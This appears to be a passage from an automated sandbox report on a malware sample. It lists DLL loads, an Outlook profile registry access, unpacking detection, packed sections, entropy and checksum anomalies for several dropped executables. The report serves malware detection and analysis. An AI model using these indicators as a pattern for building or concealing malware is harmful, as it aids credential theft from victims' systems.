Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Section loaded: gpapi.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1792512 > 1048576

Source: file.exe

Static PE information: Raw size of oxdvgcpf is bigger than: 0x100000 < 0x19be00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2072443215.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 46218a4a07.exe, 00000013.00000003.2854082378.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, 46218a4a07.exe, 00000013.00000002.2922733115.00000000002E2000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2072443215.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.2d0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;oxdvgcpf:EW;bxdexzeo:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;oxdvgcpf:EW;bxdexzeo:EW;.taggant:EW;
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Unpacked PE file: 9.2.DocumentsDGCFHIDAKE.exe.6f0000.0.unpack :EW;.rsrc:W;.idata :W;doumoevv:EW;glhzrtfc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;doumoevv:EW;glhzrtfc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 10.2.skotes.exe.1f0000.0.unpack :EW;.rsrc:W;.idata :W;doumoevv:EW;glhzrtfc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;doumoevv:EW;glhzrtfc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 11.2.skotes.exe.1f0000.0.unpack :EW;.rsrc:W;.idata :W;doumoevv:EW;glhzrtfc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;doumoevv:EW;glhzrtfc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Unpacked PE file: 12.2.923e9bc10d.exe.260000.0.unpack :EW;.rsrc :W;.idata :W; :EW;tshfwepr:EW;lfotsxrf:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;tshfwepr:EW;lfotsxrf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Unpacked PE file: 14.2.e41fd24755.exe.110000.0.unpack :EW;.rsrc:W;.idata :W;yyfmebrr:EW;adaaxhow:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;yyfmebrr:EW;adaaxhow:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Unpacked PE file: 15.2.d357e68128.exe.cf0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;oxdvgcpf:EW;bxdexzeo:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;oxdvgcpf:EW;bxdexzeo:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Unpacked PE file: 16.2.e41fd24755.exe.110000.0.unpack :EW;.rsrc:W;.idata :W;yyfmebrr:EW;adaaxhow:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;yyfmebrr:EW;adaaxhow:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Unpacked PE file: 18.2.d357e68128.exe.cf0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;oxdvgcpf:EW;bxdexzeo:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;oxdvgcpf:EW;bxdexzeo:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Unpacked PE file: 19.2.46218a4a07.exe.2e0000.0.unpack :EW;.rsrc:W;.idata :W;bmdxulvp:EW;yclwwlhy:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Unpacked PE file: 20.2.e41fd24755.exe.110000.0.unpack :EW;.rsrc:W;.idata :W;yyfmebrr:EW;adaaxhow:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;yyfmebrr:EW;adaaxhow:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.11.dr	Static PE information: real checksum: 0x30208e should be: 0x30c549
Source: d357e68128.exe.11.dr	Static PE information: real checksum: 0x1b9046 should be: 0x1bd264
Source: 46218a4a07.exe.11.dr	Static PE information: real checksum: 0x29e4de should be: 0x2a1b93
Source: random[1].exe0.11.dr	Static PE information: real checksum: 0x1b9046 should be: 0x1bd264
Source: 923e9bc10d.exe.11.dr	Static PE information: real checksum: 0x430485 should be: 0x433297
Source: e41fd24755.exe.11.dr	Static PE information: real checksum: 0x30208e should be: 0x30c549
Source: file.exe	Static PE information: real checksum: 0x1b9046 should be: 0x1bd264
Source: skotes.exe.9.dr	Static PE information: real checksum: 0x32b7ea should be: 0x32721f
Source: random[1].exe1.11.dr	Static PE information: real checksum: 0x29e4de should be: 0x2a1b93
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x430485 should be: 0x433297
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: real checksum: 0x32b7ea should be: 0x32721f

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: oxdvgcpf
Source: file.exe	Static PE information: section name: bxdexzeo
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: section name:
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: section name: doumoevv
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: section name: glhzrtfc
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: tshfwepr
Source: random[1].exe.0.dr	Static PE information: section name: lfotsxrf
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.9.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name: .idata
Source: skotes.exe.9.dr	Static PE information: section name: doumoevv
Source: skotes.exe.9.dr	Static PE information: section name: glhzrtfc
Source: skotes.exe.9.dr	Static PE information: section name: .taggant
Source: 923e9bc10d.exe.11.dr	Static PE information: section name:
Source: 923e9bc10d.exe.11.dr	Static PE information: section name: .rsrc
Source: 923e9bc10d.exe.11.dr	Static PE information: section name: .idata
Source: 923e9bc10d.exe.11.dr	Static PE information: section name:
Source: 923e9bc10d.exe.11.dr	Static PE information: section name: tshfwepr
Source: 923e9bc10d.exe.11.dr	Static PE information: section name: lfotsxrf
Source: 923e9bc10d.exe.11.dr	Static PE information: section name: .taggant
Source: random[1].exe.11.dr	Static PE information: section name:
Source: random[1].exe.11.dr	Static PE information: section name: .idata
Source: random[1].exe.11.dr	Static PE information: section name: yyfmebrr
Source: random[1].exe.11.dr	Static PE information: section name: adaaxhow
Source: random[1].exe.11.dr	Static PE information: section name: .taggant
Source: e41fd24755.exe.11.dr	Static PE information: section name:
Source: e41fd24755.exe.11.dr	Static PE information: section name: .idata
Source: e41fd24755.exe.11.dr	Static PE information: section name: yyfmebrr
Source: e41fd24755.exe.11.dr	Static PE information: section name: adaaxhow
Source: e41fd24755.exe.11.dr	Static PE information: section name: .taggant
Source: random[1].exe0.11.dr	Static PE information: section name:
Source: random[1].exe0.11.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.11.dr	Static PE information: section name: .idata
Source: random[1].exe0.11.dr	Static PE information: section name:
Source: random[1].exe0.11.dr	Static PE information: section name: oxdvgcpf
Source: random[1].exe0.11.dr	Static PE information: section name: bxdexzeo
Source: random[1].exe0.11.dr	Static PE information: section name: .taggant
Source: d357e68128.exe.11.dr	Static PE information: section name:
Source: d357e68128.exe.11.dr	Static PE information: section name: .rsrc
Source: d357e68128.exe.11.dr	Static PE information: section name: .idata
Source: d357e68128.exe.11.dr	Static PE information: section name:
Source: d357e68128.exe.11.dr	Static PE information: section name: oxdvgcpf
Source: d357e68128.exe.11.dr	Static PE information: section name: bxdexzeo
Source: d357e68128.exe.11.dr	Static PE information: section name: .taggant
Source: random[1].exe1.11.dr	Static PE information: section name:
Source: random[1].exe1.11.dr	Static PE information: section name: .idata
Source: random[1].exe1.11.dr	Static PE information: section name: bmdxulvp
Source: random[1].exe1.11.dr	Static PE information: section name: yclwwlhy
Source: random[1].exe1.11.dr	Static PE information: section name: .taggant
Source: 46218a4a07.exe.11.dr	Static PE information: section name:
Source: 46218a4a07.exe.11.dr	Static PE information: section name: .idata
Source: 46218a4a07.exe.11.dr	Static PE information: section name: bmdxulvp
Source: 46218a4a07.exe.11.dr	Static PE information: section name: yclwwlhy
Source: 46218a4a07.exe.11.dr	Static PE information: section name: .taggant

Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Code function: 9_2_0070D91C push ecx; ret	9_2_0070D92F
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Code function: 9_2_00701359 push es; ret	9_2_0070135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_0020D91C push ecx; ret	10_2_0020D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_0020D91C push ecx; ret	11_2_0020D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_0022DEDB push ss; iretd	11_2_0022DEDC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_0020DFC6 push ecx; ret	11_2_0020DFD9

Source: file.exe	Static PE information: section name: oxdvgcpf entropy: 7.954207166929405
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: section name: entropy: 7.072262593391792
Source: random[1].exe.0.dr	Static PE information: section name: tshfwepr entropy: 7.954893773602939
Source: skotes.exe.9.dr	Static PE information: section name: entropy: 7.072262593391792
Source: 923e9bc10d.exe.11.dr	Static PE information: section name: tshfwepr entropy: 7.954893773602939
Source: random[1].exe.11.dr	Static PE information: section name: entropy: 7.099721669445549
